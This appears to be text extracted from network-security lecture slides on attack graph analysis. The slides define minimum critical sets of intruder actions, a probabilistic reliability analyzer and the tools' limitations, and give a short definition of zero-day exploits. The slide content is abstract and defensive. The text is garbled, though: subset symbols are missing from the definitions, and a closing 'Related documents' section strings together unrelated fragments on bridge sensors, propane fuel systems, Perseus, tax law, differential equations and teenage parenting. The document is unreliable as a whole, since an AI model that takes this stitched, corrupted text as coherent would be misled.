NETWORK SECURITY

Automated Analysis:

Minimum Critical Set of Actions

A = the set of actions available to the intruder

Def 1: A set of actions C is critical if the intruder cannot achieve his goal using only actions in A \ C.

Def 2: A critical set of actions C is minimum if there is no critical action set of smaller size.

Def 3: A set of actions A’  A is realizable if the intruder can achieve his goal using only actions in A’.

Minimum Critical Set of Actions (MCSA):

◦ Given a set of actions A and an attack graph G, find ◦ a minimum critical action subset C  A.

Finding a minimum set: NP-complete

(162)

Reliability Analyzer

What is the likelihood that the intruder goes undetected? ◦ Interpret as a Markov Decision Process

◦ Assign probability for detecting each atomic attack

◦ Each attack has both detectable and stealthy variants Probabilistic Attack Graph

(163)

NETWORK SECURITY

Overview

Phase 2

Annotations

Phase 1

System Model Security Property

Attack Graph

Generator

Query: What actions are necessary for the intruder to succeed?

Attack Subgraph

Minimization Analyzer

Query: What is the likelihood that the

intruder goes undetected?

Probabilistic Attack Graph

Reliability

Analyzer …

Risk

Analyzer

Query: What is the

intruder’s risk of discovery during an attack?

(164)

Limitations

Attack Graph Visualization Problem

(165)
(166)

Limitations

Scalability Problem

Too complex and difficult to use for large network

Zero-day exploit

A zero-day (or zero-hour) attack or threat is a computer threat that tries to

exploit unknown, undisclosed or unpatched computer application vulnerabilities

References

Related documents

\Structural health monitoring of a cable-stayed bridge using wireless smart sensor technology: data analyses", Smart Struct.. \An approach of reliable data transmission with

• Propane autogas industry’s first complete fuel network management system for electronic dispensers. • Fleet managers can economically monitor and control fuel inventories faster

Perseus, a Greek hero, with the help of Hermes and Athena, slew this dreadful monster.. Her mes lent him his magic hat and winged sandals Athena lent him her

(3)(a) Subject to paragraph (b), where the amount of the balance of tax remaining to be paid in accordance with section 77(2)(b) and (c) by an authorised person referred to in

By using a variational method and some critical points theorems, we establish some results on the multiplicity of solutions for second-order impulsive differential equation depending

1) Parents of teenage girls, who have experienced the birth of a first child, should be encouraged to only supervise the care of the first child and not to take full responsibility